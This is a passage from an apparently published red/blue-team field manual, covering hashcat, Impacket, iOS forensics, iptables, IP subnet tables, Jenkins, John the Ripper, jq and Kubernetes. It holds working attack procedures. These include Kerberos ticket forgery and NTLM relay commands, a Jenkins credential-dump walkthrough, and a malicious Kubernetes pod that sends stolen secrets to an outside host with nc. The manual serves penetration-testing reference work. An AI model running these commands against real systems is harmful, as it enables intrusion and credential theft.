hashcat -a 3 -m #type hash.txt -1 ?l?u -2 ?l?d?s ?1?2?a?d?u?l
ADJUST PERFORMANCE -w
hashcat -a 0 -m #type -w <1-4> hash.txt dict.txt
KEYBOARD LAYOUT MAPPING
hashcat -a 0 -m #type --keyb=german.hckmap hash.txt dict.txt
HASHCAT BRAIN (Local Server & Client)
(Terminal #1) hashcat --brain-server (copy password generated)
(Terminal #2) hashcat -a 0 -m #type -z --brain-password <password>
hash.txt dict.txt
BASIC ATTACK METHODOLOGY
1- DICTIONARY ATTACK
hashcat -a 0 -m #type hash.txt dict.txt
2- DICTIONARY + RULES
hashcat -a 0 -m #type hash.txt dict.txt -r rule.txt
3- HYBRID ATTACKS
hashcat -a 6 -m #type hash.txt dict.txt ?a?a?a?a
4- BRUTEFORCE
hashcat -a 3 -m #type hash.txt ?a?a?a?a?a?a?a?a
I
I
I
93
ICS / SCADA TOOLS
RED/BLUE TEAM
EXPLOIT/DEFEND
ICS/SCADA
AWESOME-INDUSTRIAL-CONTROL-SYSTEM-SECURITY
A curated list of resources related to Industrial Control System
(ICS) security.
https://github.com/hslatman/awesome-industrial-control-system-
security
I
I
INTERNET EXCHANGE POINTS
ALL
INFORMATIONAL
N/A
DATABASE OF GLOBAL INTERNET EXCHANGE POINTS
https://www.internetexchangemap.com/#/
https://ixpdb.euro-ix.net/en/ixpdb/ixps/
https://api.ixpdb.net/
I
I
IMPACKET
RED TEAM
ESCALATE PRIVS
WINDOWS
Impacket is a collection of Python classes for working with network
protocols. Impacket is focused on providing low-level programmatic
access to the packets and for some protocols (e.g. SMB1-3 and
MSRPC) the protocol implementation itself.
ASREPRoast
GetNPUsers.py:
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py
<domain_name>/<domain_user>:<domain_user_password> -request -format
<AS_REP_responses_format [hashcat | john]> -outputfile
<output_AS_REP_responses_file>
# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format
<AS_REP_responses_format [hashcat | john]> -outputfile
<output_AS_REP_responses_file>
Kerberoasting
GetUserSPNs.py:
94
python GetUserSPNs.py
<domain_name>/<domain_user>:<domain_user_password> -outputfile
<output_TGSs_file>
Overpass The Hash/Pass The Key (PTK)
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes
[lm_hash]:<ntlm_hash>
# Request the TGT with aesKey
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is requested
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>
# Execute remote commands with any of the following by using the
TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
Ticket in Linux Usage
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>
# Execute remote commands with any of the following by using the
TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
Silver Ticket
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -
domain <domain_name> -spn <service_spn> <user_name>
# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -
domain <domain_name> -spn <service_spn> <user_name>
95
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the
TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
Golden Ticket
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid
<domain_sid> -domain <domain_name> <user_name>
# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -
domain <domain_name> <user_name>
# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>
# Execute remote commands with any of the following by using the
TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -
no-pass
NTLMRELAY SMB RELAY TO SHELL
#turn off SMB Server on Responder by editing the
/etc/responder/Responder.conf file.
echo '10.0.2.9' > targets.txt
ntlmrelayx.py -tf targets.txt ./payload.exe
REFERENCE:
https://github.com/SecureAuthCorp/impacket
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
I
I
iOS
RED/BLUE TEAM
INFORMATIONAL
MOBILE
96
iOS ARTIFACTS LOCATIONS
Contacts
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb
Calls
/var/mobile/Library/CallHistoryDB/CallHistory.storedata
SMS
/var/mobile/Library/SMS/sms.db
Maps
/var/mobile/Applications/com.apple.Maps/Library/Maps/GeoHistory.map
sdata
Safari
/var/mobile/Library/Safari/History.db
Photos Database
/var/mobile/Media/PhotoData/Photos.sqlite
Apple Notes Parser
https://github.com/threeplanetssoftware/apple_cloud_notes_parser
REFERENCE
https://smarterforensics.com/2019/09/wont-you-back-that-thing-up-a-glimpse-
of-ios-13-artifacts/
iOS JAILBREAK
Checkra1n
checkra1n is a community project to provide a high-quality semi-
tethered jailbreak to all, based on the ‘checkm8’ bootrom exploit.
iPhone 5s – iPhone X, iOS 12.3 and up
REFERENCE:
https://checkra.in/
PhoenixPwn
Semi-untethered jailbreak for 9.3.5-9.3.6.
All 32-bit devices supported.
REFERENCE
https://phoenixpwn.com/
iOS APP TESTING
IDB - iOS App Security Assessment Tool.
https://github.com/dmayer/idb
iRET - iOS Reverse Engineering Toolkit.
https://github.com/S3Jensen/iRET
DVIA - Damn Vulnerable iOS App for learning.
http://damnvulnerableiosapp.com/
97
LibiMobileDevice - A cross-platform protocol library to communicate
with iOS devices.
https://github.com/libimobiledevice/libimobiledevice
Needle - iOS App Pentesting Tool.
https://github.com/mwrlabs/needle
AppCritique - iOS App Security Assessment Tool.
https://appcritique.boozallen.com/
REFERENCE:
https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet
https://github.com/ashishb/osx-and-ios-security-awesome#ios-security
iOS CRACKED IPA APPS
AppCake
https://www.iphonecake.com
IPA Rocks
https://ipa.rocks/
Need to reverse engineer an iOS app ?
Works on iOS11 & 12
1 Add https://level3tjg.github.io src to Cydia
2 Install bfdecrypt
3 Go to bfdecrypt pref pane in Settings & set the app to decrypt
4 Launch it
5 Decrypted IPA is stored in the Documents folder of the app
I
I
IPTABLES
ALL
CONFIGURATION
FIREWALL
iptables is a user-space utility program that allows a system
administrator to configure the tables provided by the Linux kernel
firewall.
CHAINS
INPUT: used to control incoming connections.
OUTPUT: used to control outgoing connections.
FORWARD: used for incoming connections that are not local; i.e.
routing and NATing.
ACTIONS
ACCEPT: Allow the specified connection parameters.
DROP: Drop the specified connection parameters.
REJECT: Disallow the connection and send a reject notification to
source.
98
Flush existing rules
# iptables -F
Display all active iptables rules:
# iptables -n -L -v --line-numbers
Set default chain policies <DROP/ACCEPT/REJECT>:
# iptables -P INPUT <DROP/ACCEPT/REJECT>
# iptables -P OUTPUT <DROP/ACCEPT/REJECT>
# iptables -P FORWARD <DROP/ACCEPT/REJECT>
Display rules by chain:
# iptables -L <INPUT/OUTPUT/FORWARD>
Add single IP Address inbound <ACCEPT/DROP/REJECT>:
# iptables -A INPUT -s 10.0.0.10 -j <ACCEPT/DROP/REJECT>
Add single IP Address outbound <ACCEPT/DROP/REJECT>:
# iptables -A OUTPUT -d 10.0.0.10 -j <ACCEPT/DROP/REJECT>
Drop outbound access to a specific site:
# iptables -A OUTPUT -p tcp -d example.com -j DROP
Delete a specific INPUT rule:
# iptables -D INPUT -s 10.0.0.10 -p tcp -dport 80 -j ACCEPT
Delete a specific OUTPUT rule:
# iptables -D OUTPUT -d 10.0.0.10 -p tcp -dport 80 -j ACCEPT
Delete by a specific INPUT/OUTPUT/FORWARD rule number:
First show rules by number:
# iptables -n -L -v --line-numbers
Then delete rule:
# iptables -D <INPUT/OUTPUT/FORWARD> 5
Insert a rule in a specific position for inbound:
# iptables -I INPUT 3 -s 10.0.0.10 -j DROP
Insert a rule in a specific position for outbound:
# iptables -I OUTPUT 2 -d 10.0.0.10 -j ACCEPT
Allow inbound current established connections and related:
# iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j
ACCEPT
99
Allow outbound current established connections:
# iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED -j ACCEPT
I
I
IPv4
ALL
INFORMATIONAL
N/A
IPv4 PRIVATE RANGES
Class
Size
Mask
Range
A
10.0.0.0/8
255.0.0.0
10.0.0.0
10.255.255.255
B
172.16.0.0/12
255.240.0.0
172.16.0.0
172.31.255.255
C
192.168.0.0/16
255.255.0.0
192.168.0.0
192.168.255.255
IPv4 PUBLIC SUBNET CLASSES
Class Size
Mask
Range
Hosts
A
8.0.0.0/8
255.0.0.0
8.0.0.0
8.255.255.255 16,777,214
B
8.8.0.0/16
255.255.0.0
8.8.0.0
8.8.255.255
65,534
C
8.8.8.0/24
255.255.255.0
8.8.8.0
8.8.8.255
254
IPv4 CLASS C SUBNET TABLE
Subnet
Addresses
Netmask
# of Class C
/31
2
255.255.255.254
1/128
/30
4
255.255.255.252
1/64
/29
8
255.255.255.248
1/32
/28
16
255.255.255.240
1/16
/27
32
255.255.255.224
1/8
/26
64
255.255.255.192
1/4
/25
128
255.255.255.128
1/2
/24
256
255.255.255.0
1
/23
512
255.255.254.0
2
/22
1024
255.255.252.0
4
/21
2048
255.255.248.0
8
/20
4096
255.255.240.0
16
/19
8192
255.255.224.0
32
/18
16384
255.255.192.0
64
/17
32768
255.255.128.0
128
/16
65536
255.255.0.0
256
/15
131072
255.254.0.0
512
/14
262144
255.252.0.0
1024
100
/13
524288
255.248.0.0
2048
/12
1048576
255.240.0.0
4096
/11
2097152
255.224.0.0
8192
/10
4194304
255.192.0.0
16384
/9
8388608
255.128.0.0
32768
/8
16777216
255.0.0.0
65536
I
I
IPv6
ALL
INFORMATIONAL
N/A
BROADCAST ADDRESSES
ff01::2
Node-Local Routers
ff02::1
Link-Local Nodes
ff02::2
Link-Local Routers
ff05::1
Site-Local Nodes
ff05::2
Site-Local Routers
IPv6 SIZE
Sub
# of Addresses
Amount of a
/64
/128
1
/127
2
/126
4
/125
8
/124
16
/123
32
/122
64
/121
128
/120
256
/119
512
/118
1,024
/117
2,048
/116
4,096
/115
8,192
/114
16,384
/113
32,768
/112
65,536
/111
131,072
/110
262,144
/109
524,288
/108
1,048,576
/107
2,097,152
/106
4,194,304
/105
8,388,608
101
/104
16,777,216
Equivalent
to an IPv4
Internet or
IPv4 /8
/103
33,554,432
/102
67,108,864
/101
134,217,728
/100
268,435,456
/99
536,870,912
/98
1,073,741,824
/97
2,147,483,648
/96
4,294,967,296
/95
8,589,934,592
/94
17,179,869,184
/93
34,359,738,368
/92
68,719,476,736
/91
137,438,953,472
/90
274,877,906,944
/89
549,755,813,888
/88
1,099,511,627,776
/87
2,199,023,255,552
1/8,388,608
/86
4,398,046,511,104
1/4,194,304
/85
8,796,093,022,208
1/2,097,152
/84
17,592,186,044,416
1/1,048,576
/83
35,184,372,088,832
1/524,288
/82
70,368,744,177,664
1/262,144
/81
140,737,488,355,328
1/131,072
/80
281,474,976,710,656
1/65,536
/79
562,949,953,421,312
1/32,768
/78
1,125,899,906,842,620
1/16,384
/77
2,251,799,813,685,240
1/8,192
/76
4,503,599,627,370,490
1/4,096
/75
9,007,199,254,740,990
1/2,048
/74
18,014,398,509,481,900
1/1,024
/73
36,028,797,018,963,900
1/512
/72
72,057,594,037,927,900
1/256
/71
144,115,188,075,855,000
1/128
/70
288,230,376,151,711,000
23377
/69
576,460,752,303,423,000
11689
/68
1,152,921,504,606,840,000
43846
/67
2,305,843,009,213,690,000
43838
/66
4,611,686,018,427,380,000
43834
/65
9,223,372,036,854,770,000
43832
/64
18,446,744,073,709,500,000
Standard
end user
allocation
/63
36,893,488,147,419,100,000
2
/62
73,786,976,294,838,200,000
4
/61
147,573,952,589,676,000,000
8
/60
295,147,905,179,352,000,000
16
102
/59
590,295,810,358,705,000,000
32
/58
1,180,591,620,717,410,000,000
64
/57
2,361,183,241,434,820,000,000
128
/56
4,722,366,482,869,640,000,000
256
/55
9,444,732,965,739,290,000,000
512
/54
18,889,465,931,478,500,000,000
1024
/53
37,778,931,862,957,100,000,000
2048
/52
75,557,863,725,914,300,000,000
4096
/51
151,115,727,451,828,000,000,000
8192
/50
302,231,454,903,657,000,000,000
16384
/49
604,462,909,807,314,000,000,000
32768
/48
1,208,925,819,614,620,000,000,000
65,536
Standard
business
allocation
/47
2,417,851,639,229,250,000,000,000
131072
/46
4,835,703,278,458,510,000,000,000
262144
/45
9,671,406,556,917,030,000,000,000
524288
/44
19,342,813,113,834,000,000,000,000
1048576
/43
38,685,626,227,668,100,000,000,000
2097152
/42
77,371,252,455,336,200,000,000,000
4194304
/41
154,742,504,910,672,000,000,000,000
8388608
/40
309,485,009,821,345,000,000,000,000
16777216
/39
618,970,019,642,690,000,000,000,000
33554432
/38
1,237,940,039,285,380,000,000,000,000
67108864
/37
2,475,880,078,570,760,000,000,000,000
134217728
/36
4,951,760,157,141,520,000,000,000,000
268435456
/35
9,903,520,314,283,040,000,000,000,000
536870912
/34
19,807,040,628,566,000,000,000,000,000
1073741824
/33
39,614,081,257,132,100,000,000,000,000
2147483648
/32
79,228,162,514,264,300,000,000,000,000
4,294,967,2
96 Standard
ISP
Allocation
/31
158,456,325,028,528,000,000,000,000,000
8589934592
/30
316,912,650,057,057,000,000,000,000,000
17179869184
/29
633,825,300,114,114,000,000,000,000,000
34359738368
/28
1,267,650,600,228,220,000,000,000,000,000
68719476736
/27
2,535,301,200,456,450,000,000,000,000,000
/26
5,070,602,400,912,910,000,000,000,000,000
/25
10,141,204,801,825,800,000,000,000,000,000
/24
20,282,409,603,651,600,000,000,000,000,000
/23
40,564,819,207,303,300,000,000,000,000,000
/22
81,129,638,414,606,600,000,000,000,000,000
/21
162,259,276,829,213,000,000,000,000,000,000
/20
324,518,553,658,426,000,000,000,000,000,000
/19
649,037,107,316,853,000,000,000,000,000,000
/18
1,298,074,214,633,700,000,000,000,000,000,00
0
103
/17
2,596,148,429,267,410,000,000,000,000,000,00
0
/16
5,192,296,858,534,820,000,000,000,000,000,00
0
/15
10,384,593,717,069,600,000,000,000,000,000,0
00
/14
20,769,187,434,139,300,000,000,000,000,000,0
00
/13
41,538,374,868,278,600,000,000,000,000,000,0
00
/12
83,076,749,736,557,200,000,000,000,000,000,0
00
/11
166,153,499,473,114,000,000,000,000,000,000,
000
/10
332,306,998,946,228,000,000,000,000,000,000,
000
/9
664,613,997,892,457,000,000,000,000,000,000,
000
/8
1,329,227,995,784,910,000,000,000,000,000,00
0,000
IPv6 BIT MAPPING
XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX
||| |||| |||| |||| |||| |||| ||||
||| |||| |||| |||| |||| |||| |||128
||| |||| |||| |||| |||| |||| ||124
||| |||| |||| |||| |||| |||| |120
||| |||| |||| |||| |||| |||| 116
||| |||| |||| |||| |||| |||112
||| |||| |||| |||| |||| ||108
||| |||| |||| |||| |||| |104
||| |||| |||| |||| |||| 100
||| |||| |||| |||| |||96
||| |||| |||| |||| ||92
||| |||| |||| |||| |88
||| |||| |||| |||| 84
||| |||| |||| |||80
||| |||| |||| ||76
||| |||| |||| |72
||| |||| |||| 68
||| |||| |||64
||| |||| ||60
||| |||| |56
||| |||| 52
||| |||48
||| ||44
||| |40
||| 36
||32
|28
104
24
J
J
J
JENKINS_Exploit
RED TEAM
ESCALATE PRIVS
DEVOPS
Dump Credentials From Jenkins
SCENARIO: You’ve obtained credentials for a user with build job
privileges on a Jenkins server. With that user you can now dump all
the credentials on the Jenkins server and decrypt them by creating
a malicious build job.
STEP 1: Log into the Jenkins server with the obtained user account:
https://<Jenkins_IPAddr>/script/
STEP 2: Find an obscure location to run your build job and follow
the below navigational tree:
New Item -> Freeform Build
“New Project”-> Configure -> General -> Restrict Where This Is Run
-> Enter “Master” -> Build -> Add Build Step -> Execute Shell
STEP 3: Execute the following commands in the shell:
echo ""
echo "credentials.xml"
cat ${JENKINS_HOME}/credentials.xml
echo ""
echo "master.key"
105
cat ${JENKINS_HOME}/secrets/master.key | base64 -w 0
echo ""
echo "hudson.util.Secret"
cat ${JENKINS_HOME}/secrets/hudson.util.Secret | base64 -w 0
STEP 4: Save the build job and on the “Jobs” view page click “Build
Now”
STEP 5: Navigate to “Build History” and click on your build job
number. Then click on “Console Output”.
STEP 6: Copy the text of the “credentials.xml” and place it into a
local file on your attack workstation named “credentials.xml”
STEP 7: Copy the base64 encoded “master.key” and
“hudson.util.Secrets” and decode them into their own files on your
local attack workstation:
echo <base64 string master.key> | base64 --decode > master.key
echo <base64 string hudson.util.Secret> | base64 --decode >
hudson.util.Secret
STEP 8: Download the “jenkins-decrypt” python script:
https://github.com/tweksteen/jenkins-decrypt
STEP 9: Decrypt the “credentials.xml” file using “master.key” and
“hudson.util.Secret”:
decrypt.py <master.key> <hudson.util.Secret> <credentials.xml>
J
J
JOHN THE RIPPER
RED TEAM
PASSWORD CRACKING
ALL
John the Ripper is a fast password cracker, currently available for
many flavors of Unix, macOS, Windows, DOS, BeOS, and OpenVMS.
ATTACK MODES
BRUTEFORCE ATTACK
john --format=#type hash.txt
DICTIONARY ATTACK
john --format=#type --wordlist=dict.txt hash.txt
MASK ATTACK
john --format=#type --mask=?l?l?l?l?l?l hash.txt -min-len=6
INCREMENTAL ATTACK
john --incremental hash.txt
DICTIONARY + RULES ATTACK
john --format=#type --wordlist=dict.txt --rules
RULES
--rules=Single
--rules=Wordlist
106
--rules=Extra
--rules=Jumbo
--rules=KoreLogic
--rules=All
INCREMENT
--incremental=Digits
--incremental=Lower
--incremental=Alpha
--incremental=Alnum
PARALLEL CPU or GPU
LIST OpenCL DEVICES
john --list=opencl-devices
LIST OpenCL FORMATS
john --list=formats --format=opencl
MULTI-GPU (example 3 GPU’s)
john --format=<OpenCLformat> hash.txt --wordlist=dict.txt --rules -
-dev=<#> --fork=3
MULTI-CPU (example 8 cores)
john --wordlist=dict.txt hash.txt --rules --dev=<#> --fork=8
MISC
BENCHMARK TEST
john --test
SESSION NAME
john hash.txt --session=example_name
SESSION RESTORE
john --restore=example_name
SHOW CRACKED RESULTS
john hash.txt --pot=<john potfile> --show
WORDLIST GENERATION
john --wordlist=dict.txt --stdout --external:[filter name] >
out.txt
BASIC ATTACK METHODOLOGY
1- DEFAULT ATTACK
john hash.txt
2- DICTIONARY + RULES ATTACK
john --wordlist=dict.txt --rules
3- MASK ATTACK
john --mask=?l?l?l?l?l?l hash.txt -min-len=6
4- BRUTEFORCE INCREMENTAL ATTACK
john --incremental hash.txt
J
J
JQ
ALL
INFORMATIONAL
N/A
107
jq - jq is a fantastic command-line JSON processor. jq is a sed-
like tool that is specifically built to deal with JSON.
###EXAMPLE FILE.JSON CONTENTS
{
"name": "Buster",
"breed": "Golden Retriever",
"age": "4",
"owner": {
"name": "Sally"
},
"likes": [
"bones",
"balls",
"dog biscuits"
]
}
Pretty print JSON output
cat file.json | jq
Find a Key and Value
cat file.json | jq '.name'
#mutltiple keys can be passed with '.name,.age'
Nested Search Operation
cat file.json | jq '.owner.name'
Find Items in an Array
cat file.json | jq '.likes[0]'
#multiple array elements '.likes[0:2]'
Combine Filters
cat file.json | jq '.[] | .name'
Transform JSON into new data structures
cat file.json | jq '[.name, .likes[]]'
Transform Values within JSON
Perform basic arithmetic on number values.
{ "eggs": 2, "cheese": 1, "milk": 1 }
cat file.json | jq '.eggs + 1'
3
Remove Keys from JSON
cat file.json | jq 'del(.name)'
Map Values & Perform Operations
108
echo '[12,14,15]' | jq 'map(.-2)'
[
10,
12,
13
]
REFERENCE:
https://stedolan.github.io/jq/
https://shapeshed.com/jq-json/
https://thoughtbot.com/blog/jq-is-sed-for-json
K
K
K
KUBERNETES
ALL
INFORMATIONAL
DEVOPS
Kubernetes is an open-source container-orchestration system for
automating application deployment, scaling, and management. It was
originally designed by Google and is now maintained by the Cloud
Native Computing Foundation.
REFERENCE:
https://intellipaat.com/mediaFiles/2019/03/Kubernetes-Cheat-Sheet.pdf
K
K
KUBERNETES_Exploit
RED/BLUE TEAM
VULN SCAN
DEVOPS
109
kubeaudit
is a command line tool to audit Kubernetes clusters for various
different security concerns: run the container as a non-root user,
use a read only root filesystem, drop scary capabilities, don't add
new ones, don't run privileged, ...
https://github.com/Shopify/kubeaudit
kubesec.io
Online security risk analysis for Kubernetes resources.
https://kubesec.io/
kube-bench
is a Go application that checks whether Kubernetes is deployed
securely by running the checks documented in the CIS Kubernetes
Benchmark.
https://github.com/aquasecurity/kube-bench
katacoda
Online learn Kubernetes using interactive browser-based scenarios.
https://katacoda.com/courses/kubernetes
RBAC Configuration
LISTING SECRETS
An attacker that gains access to list secrets in the cluster can
use the following curl commands to get all secrets in "kube-system"
namespace.
curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Kubernetes Secrets File Locations
In Kubernetes secrets such as passwords, api_tokens, and SSH keys
are stored “Secret”. Also be on the lookout for volume mount points
where secrets can be stored as well and referenced by the pod.
You can query what secrets are stored by issuing:
$ kubectl get secrets
$ kubectl describe secrets/<Name>
To decode a secret username or password perform the following:
$ echo '<base64_username_string>' | base64 –decode
$ echo '<base64_password_string>' | base64 --decode
POD CREATION
Check your rights with:
kubectl get role system:controller:bootstrap-signer -n kube-system
-o yaml
Then create a malicious pod.yaml file:
apiVersion: v1
110
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat
/run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN;
curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type:
application/json"
https://192.168.154.228:8443/api/v1/namespaces/kube-
system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Then
kubectl apply -f malicious-pod.yaml
PRIVILEGE TO USE PODS/EXEC
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
PRIVILEGE TO GET/PATCH ROLEBINDINGS
The purpose of this JSON file is to bind the admin "ClusterRole" to
the compromised service account. Create a malicious
RoleBinging.json file:
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
111
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H
"Content-Type: application/json"
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namesp
aces/default/rolebindings -d @malicious-RoleBinging.json
Retrieve secrets with new compromised token access:
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT
TOKEN>" -H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
IMPERSONATING A PRIVILEGED ACCOUNT
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the
impersonator)>" -H "Impersonate-Group: system:masters" -H
"Impersonate-User: null" -H "Accept: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
PRIVILEGED SERVICE ACCOUNT TOKEN
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
ENUMERABLE ENDPOINTS
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/defaul
t/deployments
# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/defaul
t/daemonsets
VARIOUS API ENDPOINTS
cAdvisor
curl -k https://<IP Address>:4194
Insecure API server
curl -k https://<IP Address>:8080
112
Secure API Server
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-
only
Kubelet API
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
kubelet (Read only)
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
REFERENCE:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Kubernetes
https://securityboulevard.com/2019/08/kubernetes-pentest-methodology-part-
1/
https://securityboulevard.com/2019/09/kubernetes-pentest-methodology-part-2
K
K
KUBECTL
ALL
ADMINISTRATION
DEVOPS
Kubectl is a command line tool for controlling Kubernetes clusters.
KUBECTL CONTEXT/CONFIGURE
KUBECONFIG=~/.kube/config:~/.kube/kubconfig2
use multiple
kubeconfig files
at the same time
and view merged
config
kubectl config view
Show Merged
kubeconfig
settings.
kubectl config view -o
jsonpath='{.users[?(@.name ==
"e2e")].user.password}'
get the password
for the e2e user
kubectl config view -o
jsonpath='{.users[].name}'
display the first
user
113
kubectl config view -o
jsonpath='{.users[*].name}'
get a list of
users
kubectl config get-contexts
display list of
contexts
kubectl config current-context
display the
current-context
kubectl config use-context my-cluster-name
set the default
context to my-
cluster-name
kubectl config set-credentials
kubeuser/foo.kubernetes.com --
username=kubeuser --password=kubepassword
add a new cluster
to your kubeconf
that supports
basic auth
kubectl config set-context --current --
namespace=ggckad-s2
permanently save
the namespace for
all subsequent
kubectl commands
in that context.
kubectl config set-context gce --
user=cluster-admin --namespace=foo && kubectl
config use-context gce
set a context
utilizing a
specific username
and namespace.
kubectl config unset users.foo
delete user foo
CREATE OBJECTS
kubectl apply -f ./my-manifest.yaml
create
resource(s)
kubectl apply -f ./my1.yaml -f ./my2.yaml
create from
multiple files
kubectl apply -f ./dir
create
resource(s) in
all manifest
files in dir
kubectl apply -f https://git.io/vPieo
create
resource(s) from
url
kubectl create deployment nginx --image=nginx
start a single
instance of nginx
kubectl explain pods,svc
get the
documentation for
pod and svc
manifests
VIEW/FIND RESOURCES
kubectl get services
List all services
in the namespace
kubectl get pods --all-namespaces
List all pods in
all namespaces
kubectl get pods -o wide
List all pods in
the current
namespace with
more details
114
kubectl get deployment my-dep
List a particular
deployment
kubectl get pods
List all pods in
the namespace
kubectl get pod my-pod -o yaml
Get a pod's YAML
kubectl get pod my-pod -o yaml --export
Get a pod's YAML
without cluster
specific
information
# Describe commands with verbose output
kubectl describe nodes my-node
kubectl describe pods my-pod
kubectl get services --sort-by=.metadata.name
# List Services
Sorted by Name
kubectl get pods --sort-
by='.status.containerStatuses[0].restartCount
'
# List pods
Sorted by Restart
Count
kubectl get pv --sort-
by=.spec.capacity.storage
# List
PersistentVolumes
sorted by
capacity
kubectl get pods --selector=app=cassandra -o
jsonpath='{.items[*].metadata.labels.version}
'
# Get the version
label of all pods
with label
app=cassandra
kubectl get node --selector='!node-
role.kubernetes.io/master'
# Get all worker
nodes (use a
selector to
exclude results
that have a label
named 'node-
role.kubernetes.i
o/master')
kubectl get pods --field-
selector=status.phase=Running
# Get all running
pods in the
namespace
kubectl get nodes -o
jsonpath='{.items[*].status.addresses[?(@.typ
e=="ExternalIP")].address}'
# Get ExternalIPs
of all nodes
kubectl get pods -o json | jq
'.items[].spec.containers[].env[]?.valueFrom.
secretKeyRef.name' | grep -v null | sort |
uniq
# List all
Secrets currently
in use by a pod
kubectl get events --sort-
by=.metadata.creationTimestamp
# List Events
sorted by
timestamp
kubectl diff -f ./my-manifest.yaml
# Compares the
current state of
the cluster
against the state
115
that the cluster
would be in if
the manifest was
applied.
UPDATING RESOURCES
kubectl set image deployment/frontend
www=image:v2
Rolling update
"www" containers
of "frontend"
deployment
updating the
image
kubectl rollout history deployment/frontend
Check the history
of deployments
including the
revision
kubectl rollout undo deployment/frontend
Rollback to the
previous
deployment
kubectl rollout undo deployment/frontend --
to-revision=2
Rollback to a
specific revision
kubectl rollout status -w deployment/frontend
Watch rolling
update status of
"frontend"
deployment until
completion
kubectl rollout restart deployment/frontend
Rolling restart
of the "frontend"
deployment
# deprecated starting version 1.11
kubectl rolling-update frontend-v1 -f
frontend-v2.json
(deprecated)
Rolling update
pods of frontend-
v1
kubectl rolling-update frontend-v1 frontend-
v2 --image=image:v2
(deprecated)
Change the name
of the resource
and update the
image
kubectl rolling-update frontend --
image=image:v2
(deprecated)
Update the pods
image of frontend
kubectl rolling-update frontend-v1 frontend-
v2 --rollback
(deprecated)
Abort existing
rollout in
progress
kubectl expose rc nginx --port=80 --target-
port=8000
Create a service
for a replicated
nginx which
serves on port 80
and connects to
116
the containers on
port 8000
# Update a single-container pod's image
version (tag) to v4
kubectl get pod mypod -o yaml | sed
's/\(image: myimage\):.*$/\1:v4/' | kubectl
replace -f -kubectl label pods my-pod new-
